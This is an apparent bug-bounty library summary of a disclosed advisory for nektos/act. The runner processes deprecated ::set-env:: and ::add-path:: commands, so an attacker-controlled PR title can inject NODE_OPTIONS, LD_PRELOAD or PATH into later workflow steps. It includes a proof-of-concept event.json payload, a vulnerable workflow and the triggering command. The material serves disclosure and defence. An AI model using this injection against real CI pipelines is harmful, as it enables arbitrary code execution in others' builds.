# act: Unrestricted set-env and add-path command processing enables environment injection

act processes deprecated ::set-env:: and ::add-path:: commands, letting attacker-controlled PR titles or branch names inject env vars like NODE_OPTIONS and LD_PRELOAD into later workflow steps.

- Payout: Research
- Severity: high
- Program: act
- Found by: golang-not-rust
- Disclosed: 2026-03-27
- CVE: CVE-2026-34041
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-xmgr-9pqc-h5vw
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-xmgr-9pqc-h5vw
- Tags: area:oss domain:oss impact:integrity impact:rce kind:research platform:ghsa sev:high tech:github-actions tech:go technique:regression technique:source-review vuln:command-injection vuln:misconfiguration

**Target:** Local GitHub Actions runner (nektos/act) workflow command parser
**Root cause:** act's command parser in pkg/runner/command.go unconditionally handles ::set-env:: and ::add-path:: without honoring ACTIONS_ALLOW_UNSECURE_COMMANDS, unlike GitHub Actions which disabled these commands in 2020.
**Steps:**
1. Create `.github/workflows/vuln.yml` with a step running `echo "Processing PR: ${{ github.event.pull_request.title }}"` followed by a step echoing `$NODE_OPTIONS`, `$EVIL_VAR`, `$PATH`.
2. Craft `event.json` with pull_request.title containing `Fix typo\n::set-env name=EVIL_VAR::INJECTED_BY_ATTACKER\n::set-env name=NODE_OPTIONS::--require=/tmp/evil.js\n::add-path::/tmp/evil-bin`.
3. Run `act pull_request -e event.json`.
4. Observe subsequent step sees `EVIL_VAR=INJECTED_BY_ATTACKER`, `NODE_OPTIONS=--require=/tmp/evil.js`, and `/tmp/evil-bin` prepended to PATH.
**How found:** Reporter compared act's command.go switch against GitHub Actions' 2020 mitigation (CVE-2020-15228), noticed no ACTIONS_ALLOW_UNSECURE_COMMANDS gate exists anywhere in the codebase, then built a PoC echoing an attacker-controlled PR title.
**Exploitation:** Attacker controls PR title, branch name, or commit message that a workflow step echoes to stdout; injected workflow commands set env vars (NODE_OPTIONS, LD_PRELOAD, PYTHONPATH, BASH_ENV, PERL5OPT) or prepend PATH, yielding code execution or command hijacking in all subsequent steps of the job.
**Escalation:** Single echoed untrusted field compromises every later step in the job via env/PATH persistence; NODE_OPTIONS/LD_PRELOAD turn it into arbitrary code execution.
**Insight:** When auditing CI runners or emulators, diff their handling of deprecated/disabled features against the upstream they emulate — re-enabled legacy workflow commands (set-env, add-path, set-output) are a direct injection primitive wherever untrusted data reaches stdout.

## Proof of concept (copied exactly from the original report)

**Malicious event.json payload with set-env/add-path commands**

```
{
  "pull_request": {
    "title": "Fix typo\n::set-env name=EVIL_VAR::INJECTED_BY_ATTACKER\n::set-env name=NODE_OPTIONS::--require=/tmp/evil.js\n::add-path::/tmp/evil-bin",
    "number": 1,
    "head": { "ref": "fix-typo", "sha": "abc123" },
    "base": { "ref": "main", "sha": "def456" }
  }
}
```

**Workflow echoing PR title then checking env**

```
name: Vulnerable Workflow
on: [pull_request]

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - name: Log PR info
        run: |
          echo "Processing PR: ${{ github.event.pull_request.title }}"

      - name: Subsequent step - check environment
        run: |
          echo "=== Environment Injection Check ==="
          echo "NODE_OPTIONS=$NODE_OPTIONS"
          echo "EVIL_VAR=$EVIL_VAR"
          echo "PATH=$PATH"
```

**act command run with malicious event payload**

```
git init && git add -A && git commit -m "init"
act pull_request -e event.json
```

